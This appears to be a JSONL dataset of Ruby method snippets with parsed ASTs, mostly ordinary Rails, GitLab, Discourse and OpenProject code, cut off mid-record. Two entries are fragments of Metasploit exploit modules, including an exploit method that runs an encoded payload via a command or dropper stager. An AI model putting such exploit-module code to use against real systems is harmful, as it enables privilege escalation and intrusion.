{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":2295,"raw_source":"def test_unscope_with_merge\n    p0 = Post.where(author_id: 0)\n    p1 = Post.where(author_id: 1, comments_count: 1)\n\n    assert_equal [posts(:authorless)], p0\n    assert_equal [posts(:thinking)], p1\n\n    comments = Comment.merge(p0).unscope(where: :author_id).where(post: p1)\n\n    assert_not_equal p0.first.comments, comments\n    assert_equal p1.first.comments, comments\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unscope_with_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p0\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments_count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"authorless\"]}]}]},{\"type\":\"lvar\",\"children\":[\"p0\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"lvar\",\"children\":[\"p1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"p0\"]}]},\"unscope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"p1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p0\"]},\"first\"]},\"comments\"]},{\"type\":\"lvar\",\"children\":[\"comments\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p1\"]},\"first\"]},\"comments\"]},{\"type\":\"lvar\",\"children\":[\"comments\"]}]}]}]}","id":"eb6523e0-d767-45d6-b593-907d16a96451"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb","start_line":88,"raw_source":"def base_dir\n    datastore['WritableDir'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},\"to_s\"]}]}","id":"c9ef1e56-81b6-42b7-a76f-76e4b134a6a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/artifacts/metrics.rb","start_line":20,"raw_source":"def increment_destroyed_artifacts_bytes(bytes)\n          destroyed_artifacts_bytes_counter.increment({}, bytes)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_destroyed_artifacts_bytes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bytes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroyed_artifacts_bytes_counter\"]},\"increment\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]}","id":"376ee50d-1628-437f-9b9c-a79166649e38"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/app/serializers/discourse_data_explorer/query_group_serializer.rb","start_line":15,"raw_source":"def bookmark\n      {\n        id: query_group_bookmark.id,\n        reminder_at: query_group_bookmark.reminder_at,\n        name: query_group_bookmark.name,\n        auto_delete_preference: query_group_bookmark.auto_delete_preference,\n        bookmarkable_id: query_group_bookmark.bookmarkable_id,\n        bookmarkable_type: query_group_bookmark.bookmarkable_type,\n      }\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bookmark\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"reminder_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_delete_preference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"auto_delete_preference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"bookmarkable_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_group_bookmark\"]},\"bookmarkable_type\"]}]}]}]}","id":"36332238-75ee-4ddd-920d-cbff2c5d8974"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/nested_through_associations_test.rb","start_line":395,"raw_source":"def test_has_one_through_has_one_through_with_belongs_to_source_reflection\n    assert_equal categories(:general), members(:groucho).club_category\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_one_through_has_one_through_with_belongs_to_source_reflection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"general\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\",{\"type\":\"sym\",\"children\":[\"groucho\"]}]},\"club_category\"]}]}]}","id":"fddc956b-2c9e-4c2a-be9e-76a762d9759b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/material_budget_item.rb","start_line":70,"raw_source":"def costs_visible_by?(usr)\n    usr.allowed_in_project?(:view_cost_rates, budget.project)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"costs_visible_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_cost_rates\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"budget\"]},\"project\"]}]}]}","id":"9b357f69-7c3b-4b99-99da-e5957a6001b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/api_authentication/sent_through_builder.rb","start_line":7,"raw_source":"def initialize(strategies, resolvers)\n        @strategies = strategies\n        @resolvers = resolvers\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strategies\"]},{\"type\":\"arg\",\"children\":[\"resolvers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strategies\",{\"type\":\"lvar\",\"children\":[\"strategies\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resolvers\",{\"type\":\"lvar\",\"children\":[\"resolvers\"]}]}]}]}","id":"f3fd5e61-62eb-4a77-8b07-568737460148"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_multipart.rb","start_line":16,"raw_source":"def multipart_fixture(name, boundary = \"AaB03x\")\n    file = multipart_file(name)\n    data = File.open(file, 'rb') { |io| io.read }\n\n    type = %(multipart/form-data; boundary=#{boundary})\n    length = data.bytesize\n\n    { \"CONTENT_TYPE\" => type,\n      \"CONTENT_LENGTH\" => length.to_s,\n      :input => StringIO.new(data) }\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"multipart_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"boundary\",{\"type\":\"str\",\"children\":[\"AaB03x\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"multipart_file\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bytesize\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"3a797f18-2fc9-4c79-9fe7-12ae61c0d5ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/zyxel_suid_cp_lpe.rb","start_line":155,"raw_source":"def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]}]}","id":"eaddd46a-ca9a-4ce6-8d4c-8a214f6c59e5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":535,"raw_source":"def build_multi_group_dep_line(source, target, page_groups)\n      start_page_index = source.page_group.pages.index(source.finish_row.page)\n      finish_page_index = target.page_group.pages.index(target.start_row.page)\n      if start_page_index == finish_page_index\n        build_multi_group_same_page_dep_line(source, target, start_page_index, page_groups)\n      elsif start_page_index > finish_page_index\n        build_multi_group_dep_line_backward(source, target, start_page_index, finish_page_index, page_groups)\n      else\n        build_multi_group_dep_line_forward(source, target, start_page_index, finish_page_index, page_groups)\n      end\n    end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_multi_group_dep_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"page_groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_page_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"page_group\"]},\"pages\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"finish_row\"]},\"page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finish_page_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"page_group\"]},\"pages\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"start_row\"]},\"page\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"finish_page_index\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_group_same_page_dep_line\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},\">\",{\"type\":\"lvar\",\"children\":[\"finish_page_index\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_group_dep_line_backward\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},{\"type\":\"lvar\",\"children\":[\"finish_page_index\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]},{\"type\":\"send\",\"children\":[null,\"build_multi_group_dep_line_forward\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"start_page_index\"]},{\"type\":\"lvar\",\"children\":[\"finish_page_index\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]}]}]}]}]}","id":"ac105a80-b85e-4b09-b634-01b9d3f0570e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/resource_state_event.rb","start_line":47,"raw_source":"def issue_usage_metrics\n    return unless for_issue?\n\n    case state\n    when 'closed'\n      issue_usage_counter.track_issue_closed_action(author: user, project: issue.project)\n    when 'reopened'\n      issue_usage_counter.track_issue_reopened_action(author: user, project: issue.project)\n    else\n      # no-op, nothing to do, not a state we're tracking\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_usage_metrics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_issue?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"closed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_usage_counter\"]},\"track_issue_closed_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"project\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"reopened\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_usage_counter\"]},\"track_issue_reopened_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"project\"]}]}]}]}]},null]}]}]}","id":"01426755-ba20-467d-8c59-b31e11645cf8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/runners_controller.rb","start_line":36,"raw_source":"def destroy\n    Ci::Runners::UnregisterRunnerService.new(@runner, current_user).execute if @runner.only_for?(project)\n\n    redirect_to project_runners_path(@project), status: :found\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@runner\"]},\"only_for?\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Runners\"]},\"UnregisterRunnerService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@runner\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_runners_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]}]}]}","id":"763670b2-28ca-4c5f-945e-f19d4d4cf602"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/touch_later.rb","start_line":11,"raw_source":"def touch_later(*names) # :nodoc:\n      _raise_record_not_touched_error unless persisted?\n\n      @_defer_touch_attrs ||= timestamp_attributes_for_update_in_model\n      @_defer_touch_attrs |= names.map! do |name|\n        name = name.to_s\n        self.class.attribute_aliases[name] || name\n      end unless names.empty?\n\n      @_touch_time = current_time_from_proper_timezone\n\n      surreptitiously_touch @_defer_touch_attrs\n      add_to_transaction\n      @_new_record_before_last_commit ||= false\n\n      # touch the parents as we are not calling the after_save callbacks\n      self.class.reflect_on_all_associations.each do |r|\n        if touch = r.options[:touch]\n          if r.macro == :belongs_to\n            ActiveRecord::Associations::Builder::BelongsTo.touch_record(self, changes_to_save, r.foreign_key, r.name, touch)\n          elsif r.macro == :has_one\n            ActiveRecord::Associations::Builder::HasOne.touch_record(self, r.name, touch)\n          end\n        end\n      end\n    end","complexity_score":52.7,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_later\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},null,{\"type\":\"send\",\"children\":[null,\"_raise_record_not_touched_error\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_defer_touch_attrs\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_attributes_for_update_in_model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"empty?\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_defer_touch_attrs\"]},\"|\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attribute_aliases\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_touch_time\",{\"type\":\"send\",\"children\":[null,\"current_time_from_proper_timezone\"]}]},{\"type\":\"send\",\"children\":[null,\"surreptitiously_touch\",{\"type\":\"ivar\",\"children\":[\"@_defer_touch_attrs\"]}]},{\"type\":\"send\",\"children\":[null,\"add_to_transaction\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_new_record_before_last_commit\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reflect_on_all_associations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"touch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"touch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"macro\"]},\"==\",{\"type\":\"sym\",\"children\":[\"belongs_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Builder\"]},\"BelongsTo\"]},\"touch_record\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"changes_to_save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"touch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"macro\"]},\"==\",{\"type\":\"sym\",\"children\":[\"has_one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Builder\"]},\"HasOne\"]},\"touch_record\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"touch\"]}]},null]}]},null]}]}]}]}","id":"273e8289-64dc-459f-a181-08425001ffc1"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250619140809_add_index_to_post_actions.rb","start_line":39,"raw_source":"def down\n    execute <<~SQL\n      DROP INDEX IF EXISTS index_post_actions_on_agreed_by_id\n    SQL\n\n    execute <<~SQL\n      DROP INDEX IF EXISTS index_post_actions_on_deferred_by_id\n    SQL\n\n    execute <<~SQL\n      DROP INDEX IF EXISTS index_post_actions_on_deleted_by_id\n    SQL\n\n    execute <<~SQL\n      DROP INDEX IF EXISTS index_post_actions_on_disagreed_by_id\n    SQL\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS index_post_actions_on_agreed_by_id\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS index_post_actions_on_deferred_by_id\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS index_post_actions_on_deleted_by_id\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS index_post_actions_on_disagreed_by_id\\n\"]}]}]}]}","id":"e64f1ee1-8d52-4341-a514-997c8d3ee61b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/git/repository.rb","start_line":89,"raw_source":"def commit_file(name, contents, message)\n        add_file(name, contents)\n        commit(message)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"contents\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_file\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"commit\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"86a4c717-657a-4b4e-bb6c-6d7c8442298e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pages/deployment_validations.rb","start_line":109,"raw_source":"def latest_sha\n        project.commit(build.ref).try(:sha).to_s\n      ensure\n        # Close any file descriptors that were opened and free libgit2 buffers\n        project.cleanup\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"ref\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"sha\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"cleanup\"]}]}]}","id":"8cc313c5-1047-4b18-930c-df38c18056f0"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/lib/rack/protection/escaped_params.rb","start_line":50,"raw_source":"def call(env)\n        request  = Request.new(env)\n        get_was  = handle(request.GET)\n        post_was = begin\n          handle(request.POST)\n        rescue StandardError\n          nil\n        end\n        app.call env\n      ensure\n        request.GET.replace  get_was  if get_was\n        request.POST.replace post_was if post_was\n      